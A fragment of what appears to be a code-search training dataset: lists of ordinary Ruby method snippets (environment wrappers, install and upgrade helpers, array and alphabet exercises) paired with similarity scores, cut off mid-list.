"def relaunch!\n requires :id\n body = [ \"FORCE\", {}]\n body[1][:sshKeyIds] = key_pairs.map {|kp| kp.id} unless key_pairs.empty?\n type = bare_metal? ? :hardware_server : :virtual_guest\n status = service.request(type, \"#{id}/reloadOperatingSystem\", :body => body, :http_method => :post).status\n wait_for { not ready? } # block until the relaunch has begun\n [200, 201].include?(status)\n end",
"def update\n install\n end",
"def upgrade_npm_packages\n Kernel.exec('bundle exec vite upgrade_packages')\n end",
"def update\n self.install\n end",
"def update\n self.install\n end",
"def update\n self.install\n end",
"def try_autoreload env, &block\n return block.call if env[GIN_RELOADED] || !autoreload\n env[GIN_RELOADED] = true\n reload!\n reload_lock.read_sync{ block.call }\n end",
"def set_remote_env(env); end",
"def upgrade\n add option: \"-upgrade\"\n end",
"def environment(environment); end",
"def upgrade!\n version = @original_config.fetch('version', 1)\n case version\n when 2\n # TODO(joshk): Any required updates to v3 or remove this entire method\n true\n end\n end",
"def scope\n @env.unshift({})\n begin\n yield\n ensure\n @env.shift\n raise \"You went too far unextending env\" if @env.empty?\n end\n end",
"def test_env\n TestEngine.install_tasks\n ENV['RAILS_VERSION'] = older_installed_rails\n Rake::Task['test:engine:env'].invoke\n # In case Bundler wants to force a Rails version on us\n ENV['RUBYOPT'] = ENV['RUBYOPT'].sub '-rbundler/setup', '' if ENV.has_key? 'RUBYOPT'\n assert_equal older_installed_rails, `ruby -e \"puts Rails.version\"`.chomp\n end",
"def apply_environment!(hook_context, env); end",
"def with_env(env={}, replace=false)\n current_env = nil\n begin\n current_env = set_env(env, replace)\n yield\n ensure\n if current_env\n set_env(current_env, true)\n end\n end\n end",
"def update(env=:all)\n []\n end",
"def flag_for_upgrade!\n self.upgrade_needed = true\n save(:validate => false)\n end",
"def _post_eval\n @environments << @env if @env_used\n @env = nil\n @options = nil\n end",
"def environment=(env)\n setup(env)\n end",
"def em_async_schedule\n o = self.class.environment\n self.class.set :environment, :normal\n async_schedule { yield }\n ensure\n self.class.set :environment, o\n end",
"def gemset_update\n rvm(@environment_name, :gemset, :update).successful?\n end",
"def restart_environment(argv={})\n @started = false\n start_environment(Merb::Config.to_hash.merge(argv))\n end",
"def restart_environment(argv={})\n @started = false\n start_environment(Merb::Config.to_hash.merge(argv))\n end",
"def wrap_env(envs = {})\n original_envs = ENV.select{ |k, _| envs.has_key? k }\n envs.each{ |k, v| ENV[k] = v }\n\n yield\n ensure\n envs.each{ |k, _| ENV.delete k }\n original_envs.each{ |k, v| ENV[k] = v }\n end",
"def update\n # Install in pacman can be used for update, too\n self.install\n end",
"def update\n # Install in pacman can be used for update, too\n self.install\n end",
"def load_environment!\n raise NotImplementedError\n end",
"def version_task\n update_gemspec(:version, ENV['VERSION']) if ENV['VERSION']\n update_gemspec(:date, Date.today)\n\n update_version_file(gemspec.version)\n update_version_constant(gemspec.version)\n end",
"def exec_bundle\n ENV_EXPORTERS.each do |exporter|\n ENV[\"VER_#{exporter.upcase}\"] = ENV[\"TM_#{exporter.upcase}\"] =\n send(\"exec_env_#{exporter}\").to_s\n end\n\n yield if block_given?\n end",
"def with_environment(env)\n save_vals = env.keys.collect { |k| [k, ENV[k.to_s]] }\n begin\n env.each { |k, v| ENV[k.to_s] = v }\n yield\n ensure\n save_vals.each { |k, v| ENV[k.to_s] = v }\n end\nend",
"def with_env(hash)\n old = {}\n hash.each do |k,v|\n old[k] = ENV[k]\n ENV[k] = v\n end\n begin\n yield\n ensure\n hash.each do |k,v|\n ENV[k] = old[k]\n end\n end\n end",
"def auto_upgrade!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).upgrade_model_storage(self)\n else\n base_model.auto_upgrade!(repository_name)\n end\n end",
"def call(env)\n Maglev.abort_transaction\n r = @app.call env\n ensure\n # Don't abort if ! committable? since next request will abort anyway\n Maglev.commit_transaction if committable? r[0]\n end",
"def mutate_config(*args)\n raise RuntimeError, \"can't modify immutable cached environment\"\n end",
"def env=(environment)\n @_env = ActiveSupport::EnvironmentInquirer.new(environment)\n end",
"def test_usr2_restart_preserves_bundler_environment\n skip_unless_signal_exist? :USR2\n\n @tcp_port = UniquePort.call\n env = {\n # Intentionally set this to something we wish to keep intact on restarts\n \"BUNDLE_GEMFILE\" => \"Gemfile.bundle_env_preservation_test\",\n # Don't allow our (rake test's) original env to interfere with the child process\n \"BUNDLER_ORIG_BUNDLE_GEMFILE\" => nil\n }\n # Must use `bundle exec puma` here, because otherwise Bundler may not be defined, which is required to trigger the bug\n cmd = \"bundle exec puma -q -w 1 --prune-bundler -b tcp://#{HOST}:#{@tcp_port}\"\n Dir.chdir(File.expand_path(\"bundle_preservation_test\", __dir__)) do\n @server = IO.popen(env, cmd.split, \"r\")\n end\n wait_for_server_to_boot\n @pid = @server.pid\n connection = connect\n initial_reply = read_body(connection)\n assert_match(\"Gemfile.bundle_env_preservation_test\", initial_reply)\n restart_server connection\n new_reply = read_body(connection)\n assert_match(\"Gemfile.bundle_env_preservation_test\", new_reply)\n end",
"def test_restart_restores_environment\n # jruby has a bug where setting `nil` into the ENV or `delete` do not change the\n # next workers ENV\n skip_on_jruby\n\n initial_reply, new_reply = restart_server_and_listen(\"-q test/rackup/hello-env.ru\")\n\n assert_includes initial_reply, \"Hello RAND\"\n assert_includes new_reply, \"Hello RAND\"\n refute_equal initial_reply, new_reply\n end",
"def with_environment\n old_gem_home = ENV[\"GEM_HOME\"]\n old_gem_path = ENV[\"GEM_PATH\"]\n ENV[\"GEM_HOME\"] = @gem_home\n ENV[\"GEM_PATH\"] = @gem_home\n @logger.debug(\"Set GEM_* to: #{ENV[\"GEM_HOME\"]}\")\n\n # Clear paths so that it reads the new GEM_HOME setting\n Gem.paths = ENV\n\n # Clear the sources so that installation uses custom sources\n old_sources = Gem.sources\n Gem.sources = Gem.default_sources\n Gem.sources << \"http://gems.hashicorp.com\"\n\n # Use a silent UI so that we have no output\n Gem::DefaultUserInteraction.use_ui(Gem::SilentUI.new) do\n return yield\n end\n ensure\n # Restore the old GEM_* settings\n ENV[\"GEM_HOME\"] = old_gem_home\n ENV[\"GEM_PATH\"] = old_gem_path\n\n # Reset everything\n Gem.paths = ENV\n Gem.sources = old_sources.to_a\n end",
"def uninstall(env); end",
"def environment=(env)\n @environment = env\n end",
"def install\r\n super\r\n automated_install {\r\n @local_gems.flush_gem_cache\r\n gem_name = @override_gem_name.nil? ? installed_as_name_for( self.gem_short_name ) : @override_gem_name\r\n installed_gem = @local_gems.find( gem_name )\r\n fails_to_load gem_name if installed_gem.nil?\r\n installed_gem.activate\r\n }\r\n end",
"def upgrade\n configure_addon('Upgrading') do |addon, config|\n heroku.upgrade_addon(app, addon, config)\n end\n end",
"def forceupdate()\n rc = offline\n return rc if OpenNebula.is_error?(rc)\n\n enable\n end",
"def enableEnvironment _args\n \"enableEnvironment _args;\" \n end",
"def activate_package_env(filter_osdeps, ws: Autoproj.workspace)\n each_package_envyml(filter_osdeps) do |envyml_file|\n yaml = YAML.load_file(envyml_file)\n delayed_handling = {}\n replace_variable = {}\n yaml.each do |varname, data|\n if data.has_key?(:priority) and data[:priority] < 0\n delayed_handling[varname] = data\n next\n end\n\n data[:values].each do |value|\n case data[:type]\n when :set\n if varname =~ /APAKA__/\n replace_variable[varname] = value\n else\n ws.env.set(varname, value)\n end\n when :add\n ws.env.add(varname, value)\n when :add_path\n ws.env.add_path(varname, value)\n when :add_prefix\n ws.env.add_prefix(varname, value)\n end\n end\n end\n\n delayed_handling.each do |varname, data|\n replace_variable.each do |v,r|\n data[:values].each do |value|\n value.gsub!(/\\${#{v}}/,r)\n end\n end\n\n data[:values].each do |value|\n case data[:type]\n when :set\n ws.env.set(varname, value)\n when :add\n ws.env.add(varname, value)\n when :add_path\n ws.env.add_path(varname, value)\n when :add_prefix\n ws.env.add_prefix(varname, value)\n end\n end\n end\n end\n end",
"def upgrade_direct!\n do_dmg_package_resource!\n end",
"def braid_update_config\n bundle_exec('braid setup 2>&1 > /dev/null', false)\n bundle_exec('braid upgrade-config') if 0 == $?.exitstatus\n end",
"def update_application(group)\n @site.class_filter(group)\n begin\n @site.upgrade.each do |rpcresult|\n if rpcresult.results[:statuscode] != 0\n hostname = rpcresult.results[:sender]\n raise FailedUpgradeException, hostname\n end\n end\n ensure\n @site.reset_filter\n end\nend",
"def auto_upgrade!\n AutoMigrator.auto_upgrade(name)\n end",
"def auto_upgrade!\n AutoMigrator.auto_upgrade(name)\n end",
"def ensure_grpc!\n ensure_service!\n reload! if reference?\n end",
"def ensure_grpc!\n ensure_service!\n reload! if reference?\n end",
"def upgrade_direct!\n package \"Chef Development Kit v#{package_metadata[:version]}\" do\n source package_metadata[:url]\n checksum package_metadata[:sha256]\n end\n end"
] |
[
"0.61047447",
"0.60789025",
"0.60721666",
"0.5880113",
"0.58174473",
"0.58148444",
"0.57299036",
"0.56761396",
"0.56761396",
"0.5537906",
"0.55287504",
"0.5527607",
"0.55258554",
"0.5523668",
"0.5511452",
"0.5483043",
"0.5467233",
"0.5448819",
"0.54292864",
"0.5388834",
"0.5355151",
"0.53527975",
"0.53436667",
"0.5340039",
"0.5328847",
"0.52873725",
"0.5280184",
"0.5272503",
"0.52712655",
"0.5254765",
"0.5250674",
"0.52382755",
"0.52361983",
"0.5232831",
"0.5231517",
"0.521961",
"0.5196605",
"0.5173865",
"0.51732755",
"0.5171815",
"0.5148098",
"0.51455146",
"0.513854",
"0.5138478",
"0.5129027",
"0.51213366",
"0.5116015",
"0.51096696",
"0.51089245",
"0.5106473",
"0.51038563",
"0.5103716",
"0.5103716",
"0.51017356",
"0.5081607",
"0.5078682",
"0.50503415",
"0.5049526",
"0.5041091",
"0.50325805",
"0.50215924",
"0.50135237",
"0.50049156",
"0.4993617",
"0.4989746",
"0.49842584",
"0.49681586",
"0.49623382",
"0.49563983",
"0.4955942",
"0.49399754",
"0.49331364",
"0.49331364",
"0.49272373",
"0.4925249",
"0.49139592",
"0.49129957",
"0.4903191",
"0.48968726",
"0.48850426",
"0.4866364",
"0.4865372",
"0.4860683",
"0.48584434",
"0.485035",
"0.4848384",
"0.48464227",
"0.48442677",
"0.4838057",
"0.48282218",
"0.48182282",
"0.4815669",
"0.48106784",
"0.4808508",
"0.4807007",
"0.4802103",
"0.4802103",
"0.47995576",
"0.47995576",
"0.4795431"
] |
0.5295485
|
25
|
other_blank = Array.new num = Array(1..10) p num letters = Array('a'..'z') puts letters
|
def some_array_methods
teachers = ['James', 'Jim', 'Adriana']
# p teachers.first
# p teachers.last
# p teachers.sample
# reverse_teachers = teachers.reverse
# teachers.delete_at(0)
# p teachers.index('aldskjflskdjf')
teachers.insert(0 , 'Angie')
# p teachers.count do |name|
# name == 'Jim'
# end
# p teachers.length
# p teachers
# teachers.each do |teacher|
# p teacher
# end
new_teachers = teachers.map do |teacher|
teacher += ' is a teacher.'
end
p new_teachers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def array\n \t(1..size).map{ |i| \"#{fill}\" }\n end",
"def array_print_10\n array = []\n array = \"0\".upto(\"9\").to_a\n array.each do |x|\n puts x\n end\nend",
"def letter_array (name)\n\tname.chars\nend",
"def show_blanks\n\t\t@result_array = \"_\"*@word_array.length\n\t\tputs @result_array\n\tend",
"def show_blanks\n\t\t@result_array = \"_\"*@word_array.length\n\t\tputs @result_array\n\tend",
"def outputArray(word)\n Array.new(word.length, \"_\")\nend",
"def alphabet_array\n ('A'..'Z').to_a\n end",
"def missing_letters\n missing = Array.new\n ('a'..'z').each {|l| missing << l if @hist[l] == 0}\n missing\n end",
"def random1\r\n array = Array.new(10) { rand(55..100) }\r\n puts array.join(\" \")\r\nend",
"def puzzle_7\n arr = []\n for i in 0...10\n str = (0...5).map{ (65+rand(26)).chr }.join\n arr << str\n end\n puts arr\nend",
"def getAlphabet\n alphabet = \"A\"..\"Z\"\n $alphabet_array = alphabet.to_a\nend",
"def initialize_board\n b = []\n 9.times { b << ' ' } \n b\nend",
"def puzzle7\narr=[]\n\tfor i in 0..9\n\t\tstr = \"\"\n\t\tfor i in 0..4\n\t\t\tstr += (65+rand(26)).chr\n\t\tend\n\t\tarr.push(str)\n\tend\n\tprint arr, \"\\n\"\nend",
"def paint_letter_box(start, finish)\n\n i = 0\n digit = []\n new_array = []\n while i < 10\n number = (start..finish).to_a # to_a mean return the array containing the numbers in the given range\n digit = number.join.chars.map(&:to_i) # I split the number array by join.chars.map(&:to_i) method\n new_array << digit.count(i) # I counted how many number equal to i, and i add the number to new array\n i+= 1 \n end\n\n puts new_array\nend",
"def create_array_new(size)\n Array.new(size) { Array.new(size) { '0' } }\nend",
"def randomstrings\r\n string_array = []\r\n 10.times do\r\n randomstring = \"\"\r\n 5.times {randomstring << rand(65..90).chr}\r\n string_array << randomstring\r\n end\r\n puts string_array.join(\" \")\r\nend",
"def array_print_10\nend",
"def ary(n); Array.new(n){rand}; end",
"def make_blanks\r\n\t#make an array with \"_ \" pushed in the length times. Every time its printed use join method\r\n\t\t@wordlength.times do |x|\r\n\t\t\t@blanks << \"_ \"\r\n\t\tend\r\n\tend",
"def create_an_array\n [\"oranges\",\"apples\",\"kiwis\",\"mangos\"]\nend",
"def initialize(board = nil)\n # Creates a new array that's 9 units in length\n # and all filled in with the blank string \" \".\n @board = board || Array.new(9, \" \")\n end",
"def generate_array\n\t\t@array_of_integers = []\n\t\ti = 0 \n\t\twhile i < 10\n\t\t \tnum = rand(9) \n\t\t \t@array_of_integers.push(num)\n\t\t \ti = i + 1\n\t\tend\n\t\tputs @array_of_integers\n\tend",
"def call\n @bingo = [\"B\", \"I\", \"N\", \"G\", \"O\"]\n#Letter is defined as an integer to work better with array indexes in check\n @letter = rand 0..4\n @num = rand 1 + (15*@letter)..15 + (15*@letter)\n puts \"#{@bingo[@letter]} #{@num}\"\n end",
"def initialize\r\n @board = Array.new(9, \" \") \r\n end",
"def cadenas(arr)\n 10.times do\n puts \"Cadena aleatoria: #{(65+rand(26)).chr*5}\"\n end\n \nend",
"def draw_letters(array)\n user_letters = array.sample(10)\n return user_letters\nend",
"def array_of_single_char_substrings\n @array_of_single_char_substrings ||= (97..122).map {|int| int.chr } << \"'\"\n end",
"def make_array(size)\n\tnumbers = []\n\tfor i in (0..size)\n\t\tputs \"At the top, i is #{i}\"\n\t\tnumbers.push(i)\n\t\tputs \"Numbers now: #{numbers}\"\n\t\tputs \"At the bottom, i is #{i}\"\n\tend\n\n\tputs \"The numbers: \"\n\tfor num in numbers\n\t\tputs num\n\tend\nend",
"def initialize(board = nil)\n @board = Array.new(9, \" \")\nend",
"def generate_random_array \n big_array = []\n i = set_array_size.to_i\n \n while i >= 1 \n big_string = (0...50).map { ('a'..'z').to_a[rand(26)] }.join\n big_array << big_string\n i = i - 1 \n end\n big_array \n end",
"def char_to_unary_array char\n index = char.downcase[0].ord - 'a'.ord\n result = Array.new 26, 0\n result[index] = 1\n return result\nend",
"def assign_rooms(array)\n\tempty_array = []\n\tarray.each_with_index do |value, index|\n\t\tempty_array << \"Hello, #{value}! You'll be assigned to room #{index + 1}!\"\n\tend\n\treturn empty_array\nend",
"def newpass(len)\n chars = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n return Array.new(10){||chars[rand(chars.size)]}.join\n end",
"def initialize\n @cells = Array.new(9,\" \")\n end",
"def create_an_array\n [\"a\", \"b\", \"c\", \"d\"]\nend",
"def digitArray(num)\n\tdigs = []\n\twhile num > 9\n\t\tnum, last_digit = num.divmod(10)\n\t\tdigs << last_digit\n\tend\n\tdigs << num\n\tdigs\nend",
"def create_greene_county_array()\n\tarray = []\n\tnum = 1\n\t100.times do\n\t\tif num % 15 == 0\n\t\t\tarray << \"greene county\"\n\t\telsif num % 3 == 0\n\t\t\tarray << \"greene\"\n\t\telsif num % 5 == 0\n\t\t\tarray << \"county\"\n\t\telse\n\t\t\tarray << num\n\t\tend\n\t\tnum = num + 1\n\tend\n\tarray\nend",
"def create_greene_county_array()\n\tarray = []\n\tnum = 1\n\t100.times do\n\t\tif num % 15 == 0\n\t\t\tarray << \"greene county\"\n\t\telsif num % 3 == 0\n\t\t\tarray << \"greene\"\n\t\telsif num % 5 == 0\n\t\t\tarray << \"county\"\n\t\telse\n\t\t\tarray << num\n\t\tend\n\t\tnum = num + 1\n\tend\n\tarray\nend",
"def wordArray(guessword)\n word_array = []\n\n guessword.length.times do |letter|\n word_array << guessword[letter]\n end\n return word_array\nend",
"def initialize\n @cells = Array.new(9, \" \")\n end",
"def initialize\n @cells = Array.new(9, \" \")\n end",
"def initialize\n @cells = Array.new(9, \" \")\n end",
"def scan_addicts(param)\r\n #array = []\r\n arr = []\r\n param.each do |i|\r\n \r\n if i >= 90\r\n arr.push('mal') \r\n else\r\n arr.push('bien')\r\n end \r\n end\r\n print arr\r\nend",
"def a_to_z\n array = []\n array.push *('a'..'z')\n vowels = []\n array.split.push \"aeiou\"\nend",
"def range(small_num, big_num)\n range = [' ']\n i = small_num\n while i <= big_num\n range << i\n i += 1\n end\n return range\nend",
"def puzzle4\n\tarr=[]\n\t(0..9).each {|i| arr[i]=Random.rand(55..100)}\n\tputs arr\n\tprint arr, \"\\n\"\nend",
"def range_print_10\n array = (0..9).to_a\narray.each do |x|\n print x\nend\n\nend",
"def random_letters(length = 2)\n Array.new(length) { (rand(122-97) + 97).chr }.join\n end",
"def generate_alphabet\n (\"a\"..\"z\").to_a\nend",
"def test_6_verify_number_not_added_to_bucket_array\r\n $bucket = []\r\n letter = \"7\"\r\n results = good_letter(letter)\r\n assert_equal([], $bucket)\r\n end",
"def generate_letter(cnt)\n letters = (\"0\"..\"9\").to_a + (\"a\"..\"f\").to_a\n word = \"\"\n cnt.times do\n word << letters.sample\n end\n word\nend",
"def make_array\n <<-CODE\n next_int;\n t1 = array_new(state, _int);\n j = _int - 1;\n for(; j >= 0; j--) {\n t2 = stack_pop();\n array_set(state, t1, j, t2);\n }\n\n cpu_perform_hook(state, c, BASIC_CLASS(array),\n global->sym_from_literal, t1);\n stack_push(t1);\n CODE\n end",
"def Array(p0) end",
"def sequence(num)\n Array.new(num) { |i| i+1 }\nend",
"def pCchallengeTesting\n $badArray = Array.new(5) {Harpy.new}\n $character = characterCreation\n pCchallenge $character\nend",
"def test_party_can_be_created_with_characters_array\n party = Party.new([Character.new(BLANK_RACE), Character.new(BLANK_RACE), Character.new(BLANK_RACE)])\n assert_equal(3, party.length, \"Should be able to create a party from a characters array\")\n end",
"def random\n (0...20).each do |i|\n randoms = Array.new\n randoms << rand(100)\n puts randoms\n end\nend",
"def new4(*name)\n\tfor i in 0...name.length\n\t puts \"hey there #{name[i]}\"\n\tend\nend",
"def letters_to_numbers(text_array, alphabet_hash)\n\ti = 0\n\tnew_name = 0\n\tnew_array =[]\n\t\n\ttext_array.each do |name|\n\t\tname.each_char do |char|\n\t\t\tnew_name += alphabet_hash[char]\n\t\t\tputs \"#{char} equals #{alphabet_hash[char]}\"\n\t\tend\n\t\tputs \"#{name} in numbers equals #{new_name}\"\n\t\tnew_array << new_name\n\t\tnew_name = 0\n\tend\n\tnew_array\nend",
"def createPhoneNumber(numbers)\n \n #join to string and split to array \n numbers = numbers.join.split(\"\")\n \n #create 3 empty arrays\n array_one = []\n array_two = []\n array_three = []\n \n #push to new arrays - index position 0-2 to new array, 3-5 same and 6-9 same\n array_one.push(numbers[0..2])\n array_two.push(numbers[3..5])\n array_three.push(numbers[6..9])\n \n #join each array\n array_one = array_one.join(\"\")\n array_two = array_two.join(\"\")\n array_three = array_three.join(\"\")\n \n #bring together\n \"(#{array_one}) #{array_two}-#{array_three}\"\n \nend",
"def add_letters_to_bag()\n\n bag = [\"Z\", \"X\", \"J\", \"K\", \"Q\"] # Letters which only appear once\n \n 2.times do # Letters which appear twice\n bag << \"V\"\n bag << \"W\"\n bag << \"B\"\n bag << \"C\"\n bag << \"F\"\n bag << \"H\"\n bag << \"M\"\n bag << \"Y\"\n bag << Blank.new\n bag << \"P\"\n end\n\n 3.times do bag << \"G\" end\n\n 4.times do\n bag << \"D\"\n bag << \"L\"\n bag << \"S\"\n bag << \"U\"\n end\n\n 6.times do\n bag << \"N\"\n bag << \"R\"\n bag << \"T\"\n end\n \n 8.times do bag << \"O\" end \n\n 9.times do\n bag << \"A\"\n bag << \"I\"\n end\n\n 12.times do bag << \"E\" end\n\n return bag\n end",
"def find_missing_letter(range)\nsplit_range = []\nsplit_range = range.split(//)\narray = []\n\nrange_two = (split_range[0]..split_range[-1]).to_a\narray << range_two - split_range\n\n if array.length > 0\n p array.join\n else\n p nil\n end\nend",
"def digit_list(num)\n array = []\n \n num.to_s.each_char do |c| \n array.push(c.to_i)\n end\n array\nend",
"def my_method\n\tputs \"ruby\".concat(\" is awesome\")\n\n\tbinding.pry\n\tletters_array = (\"a\"..\"c\").to_a\n\tletters_array.each do |letter|\n\t\tbinding.pry\n\t\tputs letter\n\n\tend\nend",
"def test_array_literals\n array = Array.new\n assert_equal [], array\n\n array[0] = 1\n assert_equal [1], array\n\n array[1] = 2\n assert_equal [1, 2], array\n\n array << 333\n assert_equal [1, 2, 333], array\n end",
"def basic_7\n new_array = []\n i = 1\n while i <= 255\n new_array.push(i)\n i += 2\n end\n return new_array\nend",
"def draw_letters\n letter_freq = {\n A: 9, N: 6, B: 2, O: 8, C: 2, P: 2, D: 4, Q: 1, E: 12, R: 6, F: 2, S: 4,\n G: 3, T: 6, H: 2, U: 4, I: 9, V: 2, J: 1, W: 2, K: 1, X: 1, L: 4, Y: 2, M: 2, Z: 1,\n }\n\n avail_letters = array_gen(letter_freq)\n used_letters = avail_letters.sample(10)\n\n return used_letters\nend",
"def create_deck\n\n\tdeck = Array.new\n\tcard_val = Array.new\n\tcard_type = [\"h\",\"d\",\"c\",\"s\"] # Hearts, Diamonds, Clubs, Spades\n\n (2..10).each do |i|\n \tcard_val << i.to_s\n end\n card_val << \"J\" << \"Q\" << \"K\" << \"A\"\n\n for type in card_type\n \tfor val in card_val\n \t\tdeck << val+type\n \tend\n end\n\n return deck\n\nend",
"def rand_array_ten\n rand_array = []\n for idx in 0...10\n rand_array.push(rand(55..100))\n end\n # puts rand_array\n return rand_array\nend",
"def array_of_nils(length:)\n Array.new(length, nil)\nend",
"def test_array_copy_is_returned\n party = Party.new([Character.new(BLANK_RACE), Character.new(BLANK_RACE)])\n\n length = party.length\n characters = party.characters\n assert_equal(length, characters.length, \"The returned array length should be the same size as the party size\")\n\n characters << Character.new(BLANK_RACE)\n refute_equal(characters.length, party.length, \"Should not be able to add characters to the party directly\")\n end",
"def my_array_function()\n\tmy_Array = []\n\tnumber = 0\n\t100.times do \n\t\tif \n\t\t\tnumber % 3 == 0\n\t\t\tmy_Array[number] = \"Mined\"\n\t\telsif\n\t\t\tnumber % 5 == 0\n\t\t\tmy_Array[number] = \"Minds\"\n\t\telsif \n\t\t\tnumber % 15 == 0\n\t\t\tmy_Array[number] = \"Mined Minds\"\n\t\telse\n\t\t\tmy_Array[number]= number\n\t\tend\n\tnumber = number + 1\n\tend\nmy_Array\nend",
"def random_alphanumeric\n (1..10).collect { ALPHANUMERIC[rand(ALPHANUMERIC.size)] }.join\n end",
"def generate_randoms\n @alphas = (\"a\"..\"z\").collect{|alpha| alpha }\n @numerics = (1..9).collect{|num| num }\n end",
"def array_with_two_elements\n ary = Array.new\n Array.new(2)\nend",
"def array\n\t\t#create an array of\n\t\tarray = [0, 1, 2, 3, 4, 5, 6, 7, 8]\n\tend",
"def aleatorio(arr)\n puts \"Cadena aleatoria: #{(65+rand(26)).chr*5}\"\n \nend",
"def awesomesauced(strings)\n index = 0\n length_of_array = strings.length\n awesomesauced_array = []\n\n while index < length_of_array\n awesomesauced_array << strings[index]\n if index != length_of_array - 1\n awesomesauced_array << \"awesomesauce\"\n end\n index += 1\n end\n p awesomesauced_array\nend",
"def constructor\n\t\t\tarray_of_arrays = []\n\t\t\t6.times do |i|\n\t\t\t\tarray_of_arrays[i] = []\n\t\t\t\t7.times do \n\t\t\t\t\tarray_of_arrays[i] << Token.new \n\t\t\t\tend\n\t\t\tend\n\t\t\tarray_of_arrays\n\t\tend",
"def show_blank(blank)\n to_show = ''\n size = blank.size - 1\n (0..size).each {|i| add_letter_and_space(blank, i, to_show)}\n puts to_show\n end",
"def letters\n @letters.join(\"\")\n end",
"def letters\n @letters ||= {\n \"2\" => ['a','b','c'],\n \"3\" => ['d','e','f'],\n \"4\" => ['g','h','i'],\n \"5\" => ['j','k','l'],\n \"6\" => ['m','n','o'],\n \"7\" => ['p','q','r','s'],\n \"8\" => ['t','u','v'],\n \"9\" => ['w','x','y','z']\n }\n end",
"def test_array_each\n alphabet = ('A'..'C').to_a\n i = 0\n alphabet.each do |letter|\n assert alphabet[i] == letter, \"Should be #{alphabet[i]} for i = #{i}\"\n i += 1\n end\n end",
"def create_board\n for i in 0..@word_arr.length - 1\n if (@word_arr[i] =~ /[a-zA-Z]/ or @word_arr[i] =~ /[0-9]/)\n @board_arr.push(\"_\")\n else\n @board_arr.push(\" \")\n end\n end\n\n @board = @board_arr.join(\"\")\n puts \"\\n#{@board}\"\n end",
"def array_examples\n \"foo bar baz\".split # Split a string into a three-element array of strings (on white space by default) => [\"foo\", \"bar\", \"baz\"]\n \"fooxbarxbazx\".split('x') # Split using character => [\"foo\", \"bar\", \"baz\"]\n\n a = [42, 8, 17]\n\n first_element = a[0] # => 42\n last_element = a[-1] # => 17\n first_element = a.first # => 42\n second_element = a.second # => 8\n last_element = a.last # => 17\n\n a[1] == a.second # => true\n a[0] != a.last # => true\n a[0] >= 43 # => false\n\n # array methods\n a.sort # => [8, 17, 42]\n a.reverse # => [17, 8, 42]\n a.shuffle # => [17, 42, 8]\n\n # add to array\n # Ruby arrays can contain a mixture of different types\n a << 7 # => [42, 8, 17, 7]\n a << \"foo\" << \"bar\" # => [42, 8, 17, 7, \"foo\", \"bar\"]\n\n # array methods\n a.join # => \"428177foobar\"\n a.join(', ') # => \"42, 8, 17, 7, foo, bar\"\n\n # ranges\n (0..9).to_a # => [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n a = %w[foo bar baz quux] # Use %w to make a string array.\n a[0..2] # => [\"foo\", \"bar\", \"baz\"]\n ('a'..'e').to_a # => [\"a\", \"b\", \"c\", \"d\", \"e\"]\n end",
"def alphabet\n ('a'..'z').to_a\n end",
"def get_poss_characters()\n alpha = \"abcdefghijklmnopqrstuvwxyz0123456789\"\n poss = []\n for i in (0..alpha.length-1)\n poss.push(alpha[i])\n end\n return poss\nend",
"def array_gen(size)\n\tarray=[]\n\tsize.times do\n\t\tarray.push(rand(1..20))\n\tend\n\tputs array.join(\", \")\n\treturn array\nend",
"def array_gen(size)\n\tarray=[]\n\tsize.times do\n\t\tarray.push(rand(1..20))\n\tend\n\tputs array.join(\", \")\n\treturn array\nend",
"def initiate_nested_array(n)\n nested_array = []\n n.times do\n nested_array << (' ' * n).split('')\n end\n\n nested_array\nend",
"def gen_array(grid_size)\n\t\ti = 0\n\t\twhile i < grid_size do\n\t\t\t@board_display.push(0)\n\t\t\ti += 1\n\t\tend\n\tend",
"def initialize\n @size = 10\n @array = Array.new(@size) { [] }\n @count = 0\n end",
"def initialize; @ary = []; end",
"def assign_rooms(array)\n new_array = []\n counter = 1\n array.each do |name|\n new_array.push(\"Hello, #{name}! You'll be assigned to room #{counter}!\")\n counter += 1\nend\n return new_array\nend",
"def array_init(width)\r\n height = 2 ** width # ** used for exponential\r\n array = Array.new(height){Array.new(width + 4)} # plus 4 to account for table values\r\n array.each{|x| x.fill(0)} # initialize all values to 0\r\nend",
"def range(min, max)\n #new_arr = []\n\n i = min\n while i <= max\n new_arr = [] # initialized\n new_arr << i\n i = i + 1 \n end\n\n return new_arr\nend",
"def greet_characters(array)\n array.each do |title|\n puts \"Hello #{title}!\"\n end\nend",
"def create_array\n array = []\n rand_size = rand(10) + 1\n (0..rand_size).each do\n array.push(rand(1000))\n end\n return array\nend",
"def new_var\n ('A'..'Z').to_a.each do |letter|\n if !vars.include?(letter)\n vars << letter\n return letter\n end\n end\n end",
"def generate_grid\n (0...10).map { ('A'..'Z').to_a[rand(26)] }\n end",
"def sequence(num)\n 1.upto(num).map do |char|\n char\n end\nend"
] |
[
"0.67710537",
"0.6764101",
"0.64956707",
"0.64810294",
"0.64810294",
"0.64646775",
"0.644215",
"0.63635486",
"0.63495564",
"0.62783855",
"0.61448395",
"0.61351824",
"0.6131533",
"0.61181843",
"0.6113717",
"0.6097159",
"0.60707396",
"0.6045975",
"0.60433096",
"0.6042731",
"0.6039711",
"0.6027999",
"0.59762824",
"0.5963023",
"0.59575236",
"0.5928298",
"0.5912108",
"0.59055984",
"0.5887652",
"0.58836734",
"0.5850895",
"0.5841712",
"0.5839891",
"0.5837106",
"0.5830126",
"0.5828168",
"0.58156013",
"0.58156013",
"0.5807389",
"0.57981056",
"0.57981056",
"0.57981056",
"0.5792318",
"0.5765711",
"0.5756374",
"0.5751286",
"0.5742503",
"0.5737963",
"0.5735981",
"0.5735694",
"0.5729302",
"0.5728557",
"0.57149535",
"0.57146096",
"0.570663",
"0.57054174",
"0.57018584",
"0.5700623",
"0.56971496",
"0.5692013",
"0.5687407",
"0.5681685",
"0.56809336",
"0.56734365",
"0.5670275",
"0.5662131",
"0.5648018",
"0.56457585",
"0.5644984",
"0.56374246",
"0.5627546",
"0.56265527",
"0.5625146",
"0.562215",
"0.56209004",
"0.56042576",
"0.559228",
"0.5589635",
"0.5589077",
"0.5582548",
"0.5581526",
"0.5581428",
"0.55775064",
"0.5577178",
"0.55731267",
"0.5569778",
"0.5559206",
"0.5556668",
"0.5556668",
"0.5547317",
"0.5545713",
"0.55436844",
